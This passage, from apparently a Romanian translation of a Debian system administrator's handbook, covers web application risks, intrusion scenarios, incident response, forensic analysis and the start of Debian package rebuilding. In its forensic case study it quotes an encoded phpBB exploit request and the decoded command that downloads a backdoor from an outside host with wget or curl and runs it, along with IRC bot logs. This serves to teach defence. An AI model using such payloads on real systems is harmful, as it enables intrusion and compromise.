cunoștințele dvs. despre aplicație. În fapt, această abordare tinde să acorde mai multe drepturi decât sunt
necesare cu adevărat. Soluția adecvată este adesea să creăm noi tipuri și să acordăm drepturi numai pentru
acele tipuri. De asemenea, se întâmplă că o operațiune refuzată nu este fatală pentru aplicație, caz în care
ar fi mai bine să adăugați doar o regulă “dontaudit” pentru a evita intrarea în jurnal, în ciuda refuzării
efective.

COMPLETĂRI Pare ciudat că rolurile nu apar deloc atunci când se creează reguli noi. SELinux folosește doar domeniile pentru
Fără roluri în regulile politicii a afla ce operațiuni sunt permise. Rolul intervine doar indirect, permițând utilizatorului să treacă la un alt
domeniu. SELinux se bazează pe o ipoteză cunoscută sub numele de Type Enforcement și tipul este singurul
element care contează la acordarea drepturilor.

14.5.4.4. Compilarea fișierelor

După ce cele 3 fișiere (example.if, example.fc și example.te) corespund așteptărilor dvs. pentru noile
reguli, trebuie doar să rulați make NAME=devel pentru a genera un modul în fișierul example.pp (îl puteți
încărca imediat cu semodule -i example.pp). Dacă sunt definite mai multe module, make va crea toate
fișierele .pp corespunzătoare.

14.6 Alte considerente legate de securitate

Securitatea nu este doar o problemă tehnică; mai mult decât orice, este vorba despre bune practici și
înțelegerea riscurilor. Această secțiune examinează unele dintre riscurile mai comune, precum și câteva
bune practici care ar trebui, în funcție de caz, să crească securitatea sau să diminueze impactul unui atac
reușit.

14.6.1. Riscurile inerente ale aplicațiilor web

Caracterul universal al aplicațiilor web a dus la proliferarea lor. Mai multe sunt adesea rulate în paralel: un e-
mail, un wiki, un sistem de grupuri colaborative, forumuri, o galerie foto, un blog și așa mai departe. Multe
dintre aceste aplicații se bazează pe “LAMP” (Linux, Apache, MySQL, PHP ). Din păcate, multe dintre aceste
aplicații au fost, de asemenea, scrise fără a se ține prea mult seama de problemele de securitate. Datele
provenite din exterior sunt, de prea multe ori, folosite o validare insuficientă sau deloc. Furnizarea de valori
special concepute poate fi folosită pentru a corupe un apel la o comandă, astfel încât o alta să fie executată
în loc. Multe dintre cele mai evidente probleme au fost rezolvate odată cu trecerea timpului, dar noile
probleme de securitate apar periodic.

VOCABULAR Când un program introduce datele în interogările SQL într-o manieră nesigură, acesta devine vulnerabil la
Injecțiile SQL injecțiile SQL; acest nume acoperă actul de a schimba un parametru, astfel încât interogarea efectivă executată
de program este diferită de cea prevăzută, fie pentru a deteriora baza de date, fie pentru a accesa date care în
mod normal nu ar trebui să fie accesibile.
➨ http://en.wikipedia.org/wiki/SQL_Injection

328
Actualizarea aplicațiilor web în mod regulat este, care va să zică obligatorie, pentru ca niciun cracker
(indiferent dacă un atacator profesionist sau vreun găgăuță) să nu poată exploata o vulnerabilitate
cunoscută. Riscul real depinde de caz și variază de la distrugerea datelor până la executarea arbitrară a
codului, inclusiv ștergerea web site-urilor.

14.6.2. Cunoașterea consecințelor

O vulnerabilitate într-o aplicație web este adesea folosită ca punct de plecare pentru încercări de spargere.
Ceea ce urmează este o scurtă trecere în revistă a posibilelor consecințe.

O PRIVIRE RAPIDĂ Apache 2 include module care permit filtrarea interogărilor HTTP primite. Aceasta permite blocarea unor vectori
Filtrarea interogărilor HTTP de atac. De exemplu, limitarea lungimii parametrilor poate preveni revărsările de tampon. În general, se pot
valida parametrii înainte ca aceștia să fie chiar trecuți la aplicația web și să restricționeze accesul după mai multe
criterii. Acest lucru poate fi chiar combinat cu actualizări dinamice pentru firewall, astfel încât unui client care
încalcă una dintre reguli i se interzice accesarea web server pentru o anumită perioadă.
Configurarea acestor verificări poate fi o sarcină lungă și greoaie, dar se poate elimina atunci când aplicația web
care urmează să fie implementată are o înregistrare dubioasă în ceea ce privește securitatea.
Un asemenea modul, mod-security2 (în pachetul libapache2-mod-security2), este principalul de acest astfel.
Este chiar livrat cu multe reguli proprii pentru utilizare (în pachetul modsecurity-crs) pe care îl puteți activa cu
ușurință.

Consecințele unei intruziuni vor avea diferite niveluri de evidență în funcție de motivațiile atacatorului. Unii
dintre ei, script-kiddies- acei găgăuță sau tineri teribiliști, aplică doar rețete pe care le găsesc pe siturile web;
cel mai adesea, aceștia deformează o pagină web sau șterg date. În cazuri mai subtile, ei adaugă conținut
invizibil la paginile web, pentru a îmbunătăți referințele propriilor situri în motoarele de căutare.
Un atacator mai avansat va trece dincolo de asta. Un scenariu de dezastru ar putea continua în felul
următor: atacatorul câștigă capacitatea de a executa comenzi ca utilizator www-data, dar executarea unei
comenzi necesită multe manipulări. Pentru a-și ușura situația ei instalează alte aplicații web special
concepute pentru a executa de la distanță mai multe tipuri de comenzi, cum ar fi navigarea în sistemul de
fișiere, examinarea permisiunilor, încărcarea sau descărcarea fișierelor, executarea comenzilor și chiar
furnizează un shell de rețea. Adesea, vulnerabilitatea va permite rularea unei comenzi wget care va
descărca unele programe malware în /tmp/, apoi le va executa. Programul malware este adesea descărcat
de pe un web site străin care a fost compromis anterior, pentru a acoperi urmele și a îngreuna aflarea originii
efective a atacului.
În acest moment, atacatorul are suficientă libertate de mișcare, încât deseori instalează un IRC bot (un robot
care se conectează la un IRC server și poate fi controlat de acest canal). Acest bot este adesea folosit pentru
a partaja fișiere ilegale (copii neautorizate de filme sau software, etc.). Un atacator hotărât ar putea dori să
meargă și mai departe. Contul www-data nu permite accesul complet la mașină, iar atacatorul va încerca să
obțină privilegii de administrator. Acum, acest lucru nu ar trebui să fie posibil, dar dacă aplicația web nu a fost
actualizată, șansele sunt ca alte programe și kernel-ul să fie învechite; aceasta uneori e urmarea unei decizii
din partea administratorului care, deși a știut despre vulnerabilitate, a neglijat actualizarea sistemului,
deoarece nu există utilizatori locali. Atacatorul poate profita de această a doua vulnerabilitate pentru a avea
acces la root.

VOCABULAR Acest termen acoperă orice poate fi folosit pentru a obține mai multe permisiuni decât ar trebui să aibă un
Escaladarea privilegiilor utilizator dat în mod normal. Programul sudo este conceput tocmai în scopul de a oferi drepturi administrative
unor utilizatori. Dar același termen este folosit și pentru a descrie actul unui atacator care exploatează o
vulnerabilitate pentru a obține drepturi necuvenite.

Acum atacatorul deține mașina; de obicei va încerca să păstreze acest acces privilegiat cât mai mult timp.
Aceasta implică instalarea unui rootkit, un program care va înlocui unele componente ale sistemului, astfel
încât atacatorul să poată obține din nou privilegiile de administrator ulterior; rootkit-ul încearcă, de
asemenea, să-și ascundă propria existență, precum și orice urmă de intruziune. Un program subminat ps va
omite enumerarea anumite procese, netstat nu va enumera unele dintre conexiunile active, etc. Utilizând
permisiunile root, atacatorul a putut observa întregul sistem, dar nu a găsit date importante; deci va încerca
accesarea altor mașini din rețeaua corporației. Analizând contul administratorului și fișierele de istoric,
atacatorul găsește ce mașini sunt accesate de obicei. Analizând contul administratorului și fișierele de istoric,
atacatorul găsește ce mașini sunt accesate în mod obișnuit. Înlocuind sudo sau ssh cu un program
subminat, atacatorul poate intercepta unele dintre parolele administratorului, pe care le va folosi pe server-ele
detectate... iar intruziunea se poate propaga de aici încolo.

329
Acesta este un scenariu de coșmar care poate fi prevenit prin mai multe măsuri. Următoarele secțiuni
descriu unele dintre aceste măsuri.

14.6.3. Alegerea chibzuită a software-ului

Odată ce problemele de securitate potențiale sunt cunoscute, acestea trebuie luate în considerare la fiecare
etapă a procesului de implementare a unui serviciu, în special atunci când alegem software-ul care trebuie
instalat. Multe web site-uri, cum ar fi SecurityFocus.com, păstrează o listă a vulnerabilităților descoperite
recent, ceea ce poate da o idee despre o evidență de securitate înainte de implementarea anumitor
programe software. Desigur, aceste informații trebuie să fie echilibrate în raport cu popularitatea soft-ului
menționat: un program mai utilizat pe scară largă este o țintă mai tentantă și în consecință va fi mai atent
examinat. Pe de altă parte, un program de nișă poate fi plin de găuri de securitate care nu sunt publicitate
niciodată din cauza lipsei de interes pentru un audit de securitate.

VOCABULAR Un audit de securitate este procesul de citire și analiză completă a codului sursă a unui software, în căutarea
Audit de securitate potențialelor vulnerabilități de securitate pe care le-ar putea conține. Astfel de audituri sunt de obicei proactive și
sunt realizate pentru a se asigura că un program îndeplinește anumite cerințe de securitate.

În lumea software-ului liber, există în general un spațiu larg de alegere, iar alegerea unei piese software mai
mult decât alta ar trebui să fie o decizie bazată pe criteriile care se aplică la nivel local. Mai multe
caracteristici implică un risc crescut de ascundere a vulnerabilității în cod; alegerea celui mai avansat
program pentru o sarcină poate fi de fapt contraproductivă și o abordare mai bună este de obicei să alegeți
cel mai simplu program care îndeplinește cerințele.

VOCABULAR Un atac zero-day exploit este greu de prevenit; termenul acoperă o vulnerabilitate care nu este încă cunoscută
Zero-day exploit autorilor programului.

14.6.4. Gestionarea unei mașini ca întreg

Majoritatea distribuțiilor Linux instalează în mod implicit o serie de servicii Unix și multe instrumente. În multe
cazuri, aceste servicii și instrumente nu sunt necesare în scopurile reale pentru care administratorul a
instalat mașina. Ca o orientare generală în problemele de securitate, software-ul nedorit cel mai bine este să
fie dezinstalat. Într-adevăr, nu are rost să securizați un FTP server, dacă o vulnerabilitate într-un serviciu
diferit, neutilizat poate fi folosită pentru a obține privilegii de administrator pe toată mașina.
Prin același raționament, firewall-urile vor fi adesea configurate pentru a permite accesul la servicii care sunt
destinate publicului.
Calculatoarele actuale sunt suficient de puternice pentru a permite găzduirea mai multor servicii pe aceeași
mașină fizică. Din punct de vedere economic, o astfel de posibilitate este interesantă: un singur computer de
administrat, reduce consumul de energie ș.a. Din punct de vedere al securității, însă, o astfel de alegere
poate fi o problemă. Un serviciu compromis poate aduce acces la întreaga mașină, ceea ce la rândul său
compromite celelalte servicii găzduite pe același computer. Acest risc poate fi atenuat prin izolarea serviciilor.
Acest lucru poate fi obținut fie cu virtualizarea (fiecare serviciu fiind găzduit într-o mașină sau container virtual
dedicat), fie cu AppArmor/SELinux (fiecare service daemon având un set de permisiuni proiectat în mod
corespunzător).

14.6.5. Utilizatorii sunt jucători

Discutarea securității aduce imediat în minte protecția împotriva atacurilor unor cracker-i anonimi care se
ascund în jungla de pe internet; dar un fapt uitat adesea este că riscurile apar și din interior: un angajat care
urmează să părăsească compania ar putea descărca fișiere sensibile pe proiectele importante și le poate
vinde concurenților, un vânzător neglijent ar putea părăsi biroul lor fără a-și bloca sesiunea în timpul unei
întâlniri despre o nouă perspectivă, un utilizator stângaci ar putea șterge, din eroare, directorul greșit, etc.
Răspunsul la aceste riscuri poate implica soluții tehnice: permisiunile acordate utilizatorilor nu ar trebui să fie
mai mari decât cele necesare iar copiile de rezervă obișnuite sunt obligatorii. Dar, în multe cazuri, protecția
corespunzătoare va implica instruirea utilizatorilor pentru a evita riscurile.

330
 O PRIVIRE RAPIDĂ Pachetul autolog oferă un program care deconectează automat utilizatorii inactivi într-o perioadă configurabilă.
autolog Permite, de asemenea, uciderea proceselor utilizatorilor care persistă după încheierea sesiunii, împiedicând astfel
utilizatorii să ruleze daemoni.

14.6.6. Siguranță fizică

Nu are rost să asigurați serviciile și rețelele dacă computerele în sine nu sunt protejate.
Datele importante merită să fie stocate pe hard disk-uri schimbabile la cald în tablourile RAID, deoarece
discurile dure în cele din urmă cedează, iar disponibilitatea datelor este obligatorie. Dar dacă orice băiat de
la livrări de pizza poate intra în clădire, se strecoară în camera server-ului și poate fugi cu câteva discuri dure
selectate, o parte importantă a securității nu este îndeplinită. Cine poate intra în camera server-ului? Accesul
este monitorizat? Aceste întrebări merită luate în considerare (și un răspuns) atunci când este evaluată
securitatea fizică.
Securitatea fizică include, de asemenea, luarea în considerare a riscurilor pentru accidente, cum ar fi
incendii. Acest risc special este ceea ce justifică stocarea suportului de rezervă într-o clădire separată sau
cel puțin într-o cutie puternică rezistentă la foc.

14.6.7. Răspunderea juridică

Un administrator este, mai mult sau mai puțin implicit, de încredere de în fața utilizatorilor săi cât și a
utilizatorilor rețelei în general. Prin urmare, acestea ar trebui să evite orice neglijență pe care ar putea-o
exploata oamenii rău intenționați.
Un atacator care preia controlul mașinii dvs. apoi îl folosește ca bază pentru a continua de aici (cunoscut
sub numele de “relay sistem”) din care să efectueze alte activități nefaste ar putea produce probleme legale
pentru dumneavoastră, deoarece partea atacată va vedea inițial atacul venind din sistemul dvs. și prin
urmare, vă consideră atacator (sau cel puțin complice). În multe cazuri, atacatorul va folosi server-ul dvs. ca
un releu pentru a trimite spam, ceea ce nu ar trebui să aibă un impact mare (cu excepția înregistrării
potențiale pe listele negre care ar putea restricționa capacitatea dvs. de a trimite e-mail-uri legitime), dar nu
va fi totuși plăcut. În alte cazuri, mașina dvs. poate avea probleme mai importante produse, ca exemplu, de
atacuri de tip refuzul serviciului. Aceasta va induce uneori pierderea veniturilor, deoarece serviciile legitime
nu vor fi disponibile și datele pot fi distruse; uneori, acest lucru va presupune și un cost real, deoarece partea
atacată poate începe procedurile legale împotriva dvs. Deținătorii de drepturi vă pot da în judecată dacă o
copie neautorizată a unei opere protejate de legea dreptului de autor este partajată de pe server-ul dvs., cât
și alte companii obligate prin acorduri de nivel de serviciu dacă sunt obligate să plătească penalități în urma
atacului provenit de la mașina dvs.
Când apar aceste situații, a pretinde nevinovăția nu este de obicei suficientă; cel puțin, veți avea nevoie de
dovezi convingătoare care să ateste activitatea suspectă pe sistemul dvs. care provine de la o adresă IP
dată. Acest lucru nu va fi posibil dacă neglijați recomandările acestui capitol și lăsați atacatorul să obțină
acces la un cont privilegiat (în special, root) și să îl folosească pentru a-și acoperi urmele.

14.7. Abordarea unei mașini compromise

În ciuda celor mai bune intenții dar și a conceperii cu atenție a politicii de securitate, un administrator se
confruntă în cele din urmă cu un act de deturnare. Această secțiune oferă câteva orientări despre cum să
reacționezi atunci când te confrunți cu aceste circumstanțe nefericite.

14.7.1. Detectarea și observarea intruziunii crackerului

Primul pas în reacția la o spargere este să fiți conștient de un astfel de act. Acest lucru nu este evident de la
sine, mai ales fără o infrastructură de monitorizare adecvată.
De multe ori, actele de spargere nu sunt detectate până când nu au consecințe directe asupra serviciilor
legitime găzduite pe mașină, cum ar fi conexiunile care încetinesc, unii utilizatori neputându-se conecta sau
orice alt tip de defecțiune. Față de aceste probleme, administratorul trebuie să arunce o privire atentă asupra
mașinii și să examineze cu atenție ce se comportă greșit. Acesta este de obicei momentul în care descoperă
un proces neobișnuit, de exemplu unul numit apache în loc de /usr/sbin/apache2. Dacă urmăm acest
exemplu, lucrul de făcut este să notăm identificatorul procesului său și să verificăm /proc/pid/exe pentru
a vedea ce program se execută în prezent:

331
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/
⮩ .bash_httpd/psybnc

Un program instalat sub /var/tmp/ și care rulează ca web server? Fără îndoială, mașina este compromisă.
Acesta este doar un exemplu, dar multe alte indicii pot da alarma administratorului:
• o opțiune pentru o comandă care nu mai funcționează; versiunea software-ului despre care se spune
că nu se potrivește comanda cu versiunea care se presupune a fi instalată conform dpkg;
• un command prompt sau o întâmpinare de sesiune care indică faptul că ultima conexiune a venit de la
un server necunoscut de pe un alt continent;
• erorile produse de partiția /tmp/, care fiind completă s-a dovedit a fi plină de copii ilegale de filme;
• și așa mai departe.

14.7.2. Deconectare server

În oricare dintre cazurile cele mai exotice, spargerea vine din rețea, iar atacatorul are nevoie de o rețea de
lucru pentru a-și atinge țintele (accesează date confidențiale, partajează fișiere ilegale, ascunde identitatea
utilizând mașina ca un relay, și așa mai departe). Deconectarea computerului din rețea va împiedica
atacatorul să atingă aceste ținte, dacă încă nu au reușit să facă acest lucru.
Acest lucru poate fi posibil numai dacă server-ul este accesibil fizic. Când server-ul este găzduit într-un centru
de date al unui furnizor de hosting la jumătatea țării sau dacă server-ul nu este accesibil din orice alt motiv,
este de obicei o idee bună să începeți prin adunarea unor informații importante (a se vedea secțiunea
14.7.3. “Reținerea tuturor elementelor ca posibile dovezi” pagina 332, secțiunea 14.7.5. “Analiza judiciară” pagina 333 și
secțiunea 14.7.6. “Reconstituirea scenariului de atac” pagina 333), apoi izolarea pe cât posibil a server-ului,
închizând cât mai multe servicii (de obicei, totul, în afară de sshd). Acest caz este încă incomod, deoarece
nu se poate exclude posibilitatea atacatorului de a avea acces SSH ca și administratorul; acest lucru face
mai dificilă “curățarea” mașinilor.

14.7.3. Reținerea tuturor elementelor ca posibile dovezi

Înțelegerea atacului și/sau angajarea unei acțiuni legale împotriva atacatorilor necesită luarea de copii ale
tuturor elementelor importante; aceasta include conținutul hard disk-ului, o listă a tuturor proceselor rulate și o
listă a tuturor conexiunilor deschise. De asemenea, ar putea fi utilizat conținutul RAM, dar este foarte rar
utilizat în practică.
În plină acțiune, administratorii sunt adesea tentați să efectueze multe verificări pe mașina compromisă;
aceasta nu este de obicei o idee bună. Fiecare comandă este potențial inversată și poate șterge probe.
Verificările ar trebui să fie limitate la setul minim (netstat -tupan pentru conexiunile de rețea, ps auxf pentru
o listă de procese, ls -alR /proc/[0-9]* pentru mai multe informații despre rularea programelor) și
fiecare verificare efectuată trebuie notată cu atenție.

PRUDENȚĂ Deși poate părea tentant să analizați sistemul așa cum funcționează, mai ales când server-ul nu este accesibil
Analiza la cald fizic, acest lucru este de evitat cel mai bine: pur și simplu nu puteți avea încredere în programele instalate în
prezent pe sistemul compromis. Este foarte posibil ca o comandă subminată ps să ascundă unele procese sau ls
să ascunde fișiere; uneori chiar nucleul este compromis!
Dacă o astfel de analiză la cald este încă necesară, trebuie să aveți grijă să folosiți numai programe cunoscute. O
modalitate bună de a face acest lucru ar fi să aveți un CD de salvare cu programe curate sau o rețea partajată
doar-citire. Cu toate acestea, chiar și aceste contramăsuri ar putea să nu fie suficiente dacă nucleul în sine este
compromis.

Odată salvate elementele “dinamice”, următorul pas este să stocați o imagine completă a hard disk-ului.
Realizarea unei astfel de imagini este imposibilă dacă sistemul de fișiere continuă să evolueze, motiv pentru
care trebuie remontat doar în citire. Cea mai simplă soluție este de multe ori oprirea brutală a server-ului
(după rularea sync) și repornirea acestuia pe un CD de salvare. Fiecare partiție trebuie să fie copiată cu un
instrument ca dd; aceste imagini pot fi trimise către un alt server (eventual cu instrumentul nc, foarte
convenabil). O altă posibilitate poate fi și mai simplă: scoateți discul din mașină și înlocuiți-l cu unul nou care
poate fi formatat și reinstalat.

332
14.7.4. Reinstalarea
Server-ul nu trebuie repus în funcție fără o reinstalare completă. Presupunând o compromitere severă (dacă
s-au obținut privilegii administrative), nu există aproape nici un alt mod de a fi siguri că vom scăpa de tot
ceea ce atacatorul ar fi putut lăsa în urmă, în special backdoors (software-uri rău intenționate care ocolesc
sistemele de securitate). Desigur, toate cele mai recente actualizări de securitate trebuie să fie, de
asemenea, aplicate pentru a conecta vulnerabilitatea utilizată de atacator. Ideal ar trebui ca analiza atacului
să puncteze acest vector de atac, astfel încât să putem fi siguri că îl vom repara de fapt; în caz contrar, nu
putem decât să sperăm că vulnerabilitatea a fost una dintre cele reparate de actualizări.
Reinstalarea unui server la distanță nu este întotdeauna ușoară; poate implica asistență din partea
companiei de găzduire, deoarece nu toate aceste companii furnizează sisteme de reinstalare automată.
Trebuie să aveți grijă să nu reinstalați mașina din backup-urile făcute după compromitere. În mod ideal, doar
datele ar trebui să fie restaurate, software-ul propriu-zis ar trebui reinstalat de pe suportul de instalare.

14.7.5. Analiza judiciară

Acum că serviciul a fost restaurat, este timpul să aruncăm o privire mai atentă la imaginile de pe disc ale
sistemului compromis pentru a înțelege vectorul de atac. La montarea acestor imagini, trebuie să aveți grijă
să folosiți opțiunile ro, nodev, noexec, noatime, astfel încât să evitați schimbarea conținutului (inclusiv
mărcile de timp ale accesului la fișiere) sau rularea programelor compromise din greșeală.
Reconstituirea unui scenariu de atac implică, de obicei, căutarea a tot ceea ce a fost modificat și executat:
• fișierele .bash_history oferă adesea o lectură foarte interesantă;
• la fel și listarea fișierelor care au fost create recent, modificate sau accesate;
• comanda strings ajută la identificarea programelor instalate de atacator, prin extragerea șirurilor
de text dintr-un binar;
• fișierele jurnal din /var/log/ permit deseori reconstruirea unei cronologii a evenimentelor;
• instrumentele cu scop special permit, de asemenea, restaurarea conținutului fișierelor potențial
șterse, inclusiv a fișierelor jurnal pe care atacatorii le șterg deseori.
Unele dintre aceste operațiuni pot fi ușoare cu ajutorul unui software specializat. În special, pachetul sleuthkit
oferă multe instrumente pentru a analiza un sistem de fișiere. Utilizarea lor este simplificată de interfața
grafică Autopsy Forensic Browser (în pachetul autopsy). Unele distribuții Linux au o imagine ”live install” care
conțin multe programe de analiză criminalistică, cum ar fi Kali Linux (a se vedea secțiunea A.8. “Kali Linux”
pagina 356), cu forensic mode, BlackArchLinux20 și comercial Grml-Forensic , bazat pe Grml (vedeți secțiunea
A.6. “Grml” pagina 356).

14.7.6. Reconstituirea scenariului de atac

Toate elementele colectate la analiză trebuie să se potrivească asemenea unor piese dintr-un mozaic;
crearea primelor fișiere suspecte este adesea corelată cu jurnalele care dovedesc breșa. Un exemplu din
lumea reală ar trebui să fie mai explicit decât divagațiile teoretice.
Următorul jurnal este un extras dintr-un fișier Apache access.log:
www.scoalagenerala.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.
⮩ php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr
⮩ (47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr
⮩ 119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr
⮩ (97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr
⮩ (97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr
⮩ (105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr
⮩ 114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr
⮩ (124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr
⮩ (108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr
⮩ (121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr
⮩ (101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr
⮩ (97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr
⮩ (98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)
⮩ %252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)
⮩ %252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)
⮩ %252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252
⮩ echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1” 200 27969

20https://blackarch.org

333
 ⮩ ”-” ”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”

Acest exemplu se potrivește cu exploatarea unei vulnerabilități vechi de securitate în phpBB.

➨ http://secunia.com/advisories/13239/
➨ http://www.phpbb.com/phpBB/viewtopic.php?t=240636
Decodarea acestui URL lung duce la înțelegerea faptului că atacatorul a reușit să ruleze unele coduri PHP,
și anume: system(”cd /tmp; wget gabryk.altervista.org/bd || curl
gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &”). Într-adevăr, un fișier bd a fost găsit
în /tmp/. Rularea strings/mnt/tmp/bd returnează, printre alte șiruri, PsychoPhobia Backdoor is
starting.... Acest lucru arată într-adevăr ca un backdoor.
Ceva mai târziu, acest acces a fost utilizat pentru a descărca, instala și rula un bot conectat la o rețea IRC
ilegală. Bot-ul ar putea fi apoi controlat prin intermediul acestui protocol și instruit să descarce fișiere pentru
partajare. Acest program are chiar propriul fișier jurnal:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it

⮩ NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.
⮩ POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to
⮩ 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_
⮩ -DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi
⮩ (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9
⮩ KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec,
⮩ 80.2 KB/sec)

Aceste urme arată că două fișiere video au fost stocate pe server prin intermediul adresei IP 82.50.72.202.
În paralel, atacatorul a descărcat și o pereche de fișiere suplimentare, /tmp/pt și /tmp/loginx.
Rularea acestor fișiere prin strings duce la șiruri precum Shellcode placed at 0x%08lx și Now wait for suid
shell.... Acestea arată ca programe care exploatează slăbiciunile locale pentru a obține privilegii
administrative. Și-au atins ținta? În acest caz, probabil că nu, deoarece niciun fișier pare să nu fi fost
modificat după infracțiunea inițială.
În acest exemplu, întreaga intruziune a fost reconstruită și se poate deduce că atacatorul a putut profita de
sistemul compromis timp de aproximativ trei zile; dar elementul cel mai important în analiză este că
vulnerabilitatea a fost identificată, iar administratorul poate fi sigur că noua instalație rezolvă într-adevăr
vulnerabilitatea.

334
335
 Repere

Backport
Rebuild
Source package
Arhivă
Meta-package
Dezvoltator Debian
Intreținător

336
Capitolul 15

15. Crearea pachetului Debian

Conţinut
Reconstruirea pachetului din sursele sale 338 Construirea primului pachet 340
Crearea depozitului de pachete pentru APT 343 Aptitudinile unui întreținător de pachete 345

Este destul de obișnuit pentru un administrator, care a gestionat pachetele Debian în mod regulat, să simtă
în cele din urmă nevoia de a-și crea propriile pachete sau de a modifica un pachet existent. Acest capitol își
propune să răspundă la cele mai comune întrebări în acest domeniu și să ofere elementele necesare pentru
a profita de infrastructura Debian în cel mai bun mod. Cu orice noroc, după ce vă încercați mâna pe pachete
locale, puteți simți chiar nevoia să mergeți mai departe decât atât și să vă alăturați proiectului Debian!

337
15.1. Reconstruirea unui pachet din sursele sale
Reconstruirea unui pachet binar este necesară în mai multe circumstanțe. În unele cazuri, administratorul
are nevoie de o caracteristică software care necesită compilarea software-ului din surse, cu o opțiune specială
de compilare; în altele, software-ul astfel cum este împachetat în versiunea Debian instalată nu este suficient
de recent. În ultimul caz, administratorul va construi, de obicei, un pachet mai recent preluat dintr-o versiune
Debian mai recentă — cum ar fi Testing sau Unstable astfel încât acest nou pachet să funcționeze în
distribuția lor Stable; această operațiune se numește “backporting”. Ca de obicei, trebuie să aveți grijă, înainte
de a efectua o astfel de sarcină, pentru a verifica dacă aceasta a fost deja realizată — o privire rapidă pe
Debian Package Tracker pentru acel pachet vă va dezvălui aceste informații.
➨ https://tracker.debian.org/

15.1.1. Obținerea surselor

Reconstruirea unui pachet Debian începe cu obținerea codului sursă. Cel mai simplu este să folosiți
comanda apt-get source source-package-name. Această comandă necesită o linie deb-src în
fișierul /etc/apt/sources.list și fișiere de indexare actualizate (adică apt-get update). Aceste
condiții ar trebui deja îndeplinite dacă urmați instrucțiunile de la capitolul care se referă la configurația APT (a
se vedea secțiunea 6.1. “Completarea în fișierul sources.list” pagina 97). Rețineți însă că veți descărca
pachetele sursă din versiunea Debian menționată în linia deb-src. Dacă aveți nevoie de o altă versiune,
poate fi necesar să o descărcați manual dintr-o oglindă Debian sau de pe web site. Aceasta presupune
preluarea a două sau trei fișiere (cu extensii *.dsc — pentru Debian Source Control — *.tar.comp și
unoeri *.diff.gz sau *.debian.tar.comp — comp luând o valoarea între gz, bz2 sau xz în funcție de
instrumentul de compresie utilizat), apoi executați comanda dpkg-source -x file.dsc. Dacă fișierul
*.dsc este direct accesibil la o adresă URL dată, există o modalitate și mai simplă de a obține totul, cu
comanda dget URL. Această comandă (care poate fi găsită în pachetul devscripts) preia fișierul *.dsc la
adresa dată, apoi analizează conținutul său și preia automat fișierul sau fișierele la care se face referire.
După ce totul a fost descărcat,verifică integritatea pachetului sursei cu dscverify, și extrage pachetul
sursă (cu excepția cazului în care se folosește opțiunea -d sau –download-only). Brelocul Debian este
necesar, cu excepția cazului în care este furnizată opțiunea -u.

15.1.2. Efectuarea schimbărilor

Să folosim pachetul samba ca exemplu.

$ apt source samba

Reading package lists... Done
NOTICE: 'samba' packaging is maintained in the 'Git' version control system at:
https://salsa.debian.org/samba-team/samba.git
Please use:
git clone https://salsa.debian.org/samba-team/samba.git
to retrieve the latest (possibly unreleased) updates to the package.
Need to get 11.7 MB of source archives.
Get:1 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+
⮩ dfsg-5+deb10u1 (dsc) [4,316 B]
Get:2 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+
⮩ deb10u1 (tar) [11.4 MB]
Get:3 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+
⮩ dfsg-5+deb10u1 (diff) [252 kB]
Fetched 11.7 MB in 1s (9,505 kB/s)
dpkg-source: info: extracting samba in samba-4.9.5+dfsg
dpkg-source: info: unpacking samba_4.9.5+dfsg.orig.tar.xz
dpkg-source: info: unpacking samba_4.9.5+dfsg-5+deb10u1.debian.tar.xz
dpkg-source: info: using patch list from debian/patches/series
dpkg-source: info: applying 07_private_lib
dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch
[...]

Sursa pachetului este acum disponibilă într-un director numit după pachetul sursei și versiunea acestuia (de
exemplu, samba4.9.5+dfsg); aici vom lucra la schimbările noastre locale.
Primul lucru de făcut este să schimbați numărul versiunii pachetului, astfel încât pachetele reconstruite să
